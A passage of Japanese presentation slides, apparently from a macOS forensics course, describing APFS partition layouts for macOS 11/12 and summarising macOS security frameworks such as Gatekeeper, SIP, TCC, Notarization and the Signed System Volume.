macOSバージョンごとのパーティション構造 (6/8)◦ macOSのパーティション構造 (3)▪ macOS 11/12▸macOS 10.15とほぼ同様のレイアウト▸システム用ボリュームのスナップショットが「/」として、リードオンリ
ーでマウントされる● スナップショット元のボリュームはマウントされない▸システム用ボリュームには電子署名も施されるようになり、署名検証に失敗するとOSを起動できない● Signed System Volume (SSV)287

macOSバージョンごとのパーティション構造 (7/8)
disk1s1◦ macOS 11/12 (Intel) Macintosh
HD - Data
disk0

disk0s1
EFI
disk0s2
APFS Container

disk1s5
Macintosh HD
disk1

disk1s2
Preboot

disk1s3
RecoverySnapshotFirmlink
disk1s5s1
com.apple.os.update-GUID
Mounted on /(root directory)
Read-only mountdisk1s4
VM
288

macOSバージョンごとのパーティション構造 (8/8)◦ macOSのシステムファイルが直接改ざんされる可能性は年々低くなっている◦ 解析者は、ユーザーが通常アクセス可能な範囲を最初に集中的に調査すればよい

289

A4

Appendix 4:macOSセキュリティフレームワーク

290macOSセキュリティフレームワーク (1/4)
フレームワーク

導入バージョン

概要

File Quarantine

OS X 10.5

ダウンロードしたファイルにcom.apple.quarantine拡張属性を付与する。
この拡張属性を持つファイルは、XProtect, Gatekeeper, Notarizationのチェック対象になる。

XProtect

OS X 10.6

簡易アンチウイルスツール。com.apple.quarantine拡張属性が設定されているファイルを開くときにチェックが行われる。macOS 10.15以降は拡張属性の有無にかかわらず常にチェックされる。

Gatekeeper

OS X 10.7

Appleが発行するデベロッパIDの検証とアプリケーションの署名の検証をパスした
アプリケーションのみを実行する。

Malware Removal
Tool (MRT)OS X 10.11(?)

インストール済みのマルウェアを検知および削除する。リアルタイムの検知は行わない。

System Integrity
Protection (SIP)OS X 10.11

rootでもアクセスできないフォルダやファイルを設定する。
別名 : rootless

App Transport
Security (ATS)OS X 10.11

中間者攻撃対策のため、NSURLSession, NSURLConnectionを使うAPIでAppleが推奨する条件を満たすHTTPS通信のみが許可される。

291

macOSセキュリティフレームワーク (2/4)
フレームワーク

導入バージョン

概要

Gatekeeper Path
Randomization(GPR)

macOS 10.12

dylib hijacking（Repackaging攻撃）対策で導入された技術。
アプリケーションのインストール時にインストーラの外にあるリソース（不正なdylibなど）を読み込めないように、インストール前にアプリケーションをランダムな名前のフォルダに移動してからインストール処理が始まるようにする。

User Consent(User Privacy
Protection / TCC)

macOS 10.13

カメラや位置情報、メールなどユーザのプライバシーに関連するデータが保存されているディレクトリにアクセスする際にユーザの許可が必要になる。rootでもアクセスできない。

Secure Kernel
Extension
Loading (SKEL)

macOS 10.13

初めて読み込むカーネル拡張(KEXT)にユーザの許可を必要とする。
macOS 10.10以降、カーネル拡張に署名することが求められているが、この機能
は署名の有無にかかわらず機能する。

Enhanced
RuntimeProtection(Hardened
Runtime)macOS 10.14

SIPの機能をアプリケーションに拡張し、デバッグやコードインジェクションを防ぐ。

292

macOSセキュリティフレームワーク (3/4)
フレームワーク

導入バージョン

概要

Notarization

macOS 10.14

開発者がMac App Store以外で配布するアプリケーションをAppleにアップロード
し、マルウェアか否かの機械的なチェックを行ってもらう。チェックをパスしたアプリケーションにはチケットが発行され、アプリケーションと共に配布される。
スクリプトや単体のバイナリには、このチェックは適用されない。また、quarantine
bitが立っているもののみチェックされる。開発者の署名がされていないAppもチェック対象外となる。macOS 10.14.5以降はチェックが強制される。

Read-only
System Volume

macOS 10.15

APFSでシステム用ボリュームとデータ用ボリュームを分割し、システム用ボリューム
はリードオンリーでマウントすることで、システムファイルの改ざんを防止する。

EndpointSecurity
Framework

macOS 10.15

プロセス実行やファイルに対するアクティビティなどのシステムイベントを監視するためのフレームワーク。以前は、各アプリケーションで同等の機能が独自に実装されていたが、フレームワークとして提供されるようになった。

293

macOSセキュリティフレームワーク (4/4)
フレームワーク

採用バージョン

概要

User Intent(com.apple.macl)

macOS 10.15

ユーザーが意図した動作で付与される拡張属性。ダブルクリックやドラッグアンドド
ロップ、NSOpenPanelクラスを使用したファイルへのアクセスはUser Intentと見なされる。各ファイルやフォルダの com.apple.macl 拡張属性にアプリケーションのUUIDが羅列される形で記録される。この際にプライバシー保護のダイアログ等は表示されない。詳細が不明なので、正確にはセキュリティ目的ではないかもしれない。

Signed System
Volume (SSV)macOS 11.0

システムボリュームのファイルシステムメタデータに、ハッシュ値(SHA-256)が保存される。OS起動時にハッシュ値の検証が行われ、検証に失敗した場合、OS再イン
ストールを促される。

294

macOSセキュリティフレームワーク設定の確認◦ SilentKnight▪ https://eclecticlight.co/lockrattler-systhist/▪ macOSの各種セキュリティフレームワークのバージョンや設定状況をGUIで確認できる

295

CREDITS for this presentation template and Icons

Special thanks to all the people who made andreleased these awesome resources for free:◦ Presentation template by SlidesCarnival

296